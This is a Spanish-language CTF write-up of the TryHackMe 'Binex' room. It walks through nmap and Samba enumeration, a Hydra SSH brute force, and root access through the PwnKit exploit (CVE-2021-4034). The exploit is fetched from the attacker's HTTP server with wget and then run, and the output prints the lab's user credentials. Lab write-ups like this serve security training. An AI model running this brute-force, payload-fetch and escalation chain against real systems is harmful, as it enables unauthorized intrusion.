

Binex



TryHackMe — Writeup

Plataforma: TryHackMe

Sala: Binex

OS: Linux (Ubuntu)

Dificultad: Media

Autor: Pedro Egea Ortega

1. Reconocimiento

Fase 1 — Escaneo de puertos

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn
```

Puertos abiertos detectados:

- 22/tcp — SSH
- 139/tcp — NetBIOS
- 445/tcp — SMB

Fase 2 — Servicios y scripts

```
nmap -sCV -p 22,139,445
```

Resultados relevantes:

- Puerto 22 → OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
- Puerto 139/445 → Samba 4.7.6-Ubuntu (workgroup: WORKGROUP, host: THM_EXPLOIT)
- SMB signing deshabilitado
- OS: Linux (Samba reporta Windows 6.1)

2. Enumeración Samba

Se listaron los shares disponibles de forma anónima:

```
smbclient -L //10.113.131.183 -N
```

Shares encontrados: `print$` e `IPC$`. Sin acceso útil de forma anónima.

Se procedió a enumerar usuarios del sistema:

```
enum4linux -a 10.113.131.183
```

Usuario descubierto: `tryhackme`

3. Fuerza Bruta SSH

Con el usuario descubierto, se lanzó Hydra contra SSH usando el diccionario rockyou.txt:

```
hydra -l tryhackme -P rockyou.txt ssh://10.113.131.183 -t 4
```

Credenciales obtenidas:

- Usuario: tryhackme
- Contraseña: thebest

4. Acceso Inicial

Conexión SSH con las credenciales obtenidas:

```
sshpass -p 'thebest' ssh tryhackme@10.113.131.183
```

5. Enumeración Interna

Una vez dentro, se buscaron binarios con el bit SUID activado:

```
find / -perm -4000 2>/dev/null
```

Binarios relevantes encontrados:

- `/home/des/bof` → binario vulnerable a buffer overflow
- `/usr/bin/pkexec` → vulnerable a CVE-2021-4034 (PwnKit)
- `/usr/bin/find` → útil para PATH manipulation

6. Escalada de Privilegios — PwnKit (CVE-2021-4034)

Se detectó que `pkexec` era vulnerable a PwnKit (CVE-2021-4034), una vulnerabilidad de escalada de privilegios local que afecta a polkit.

Transferencia del exploit

Desde la máquina atacante, se levantó un servidor HTTP en el directorio del exploit:

```
python3 -m http.server 666
```

```
(pedro@pedro)-[~/Desktop/Ataque/binex]
$ python3 -m http.server 666
Serving HTTP on 0.0.0.0 port 666 (http://0.0.0.0:666/) ...
```

Ejecución en la víctima

Desde la shell SSH, se descargó y ejecutó el exploit:

```
cd /tmp wget http://<ip_atacante>:666/PwnKit
chmod +x PwnKit
./PwnKit

tryhackme@THM_exploit:/$ cd /tmp
tryhackme@THM_exploit:/tmp$ wget http://192.168.176.68:666/PwnKit
--2026-04-11 15:42:26-- http://192.168.176.68:666/PwnKit
Connecting to 192.168.176.68:666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: 'PwnKit.1'

PwnKit.1          100%[=====>] 17.62K  --.-KB/s   in 0.04s

2026-04-11 15:42:26 (435 KB/s) - 'PwnKit.1' saved [18040/18040]

tryhackme@THM_exploit:/tmp$ chmod +x PwnKit
tryhackme@THM_exploit:/tmp$ ./PwnKit
root@THM_exploit:/tmp# cat /home/des/flag.txt
Good job on exploiting the SUID file. Never assign +s to any system executable files. Remember, Check
gtfobins.

You flag is ████████████████████

login crdential (In case you need it)
username: des
password: destructive_72656275696c64
root@THM_exploit:/tmp#
root@THM_exploit:/tmp# cat /home/kel/flag.txt
You flag is ████████████████████

The user credential
username: kel
password: kelvin_74656d7065726174757265
root@THM_exploit:/tmp#
root@THM_exploit:/tmp# cat /root/root.txt
The flag: ████████████████████
Also, thank you for your participation.

The room is built with love. DesKel out.
root@THM_exploit:/tmp#
```

Se obtuvo shell como **root** y se pudieron leer todas las flags del sistema.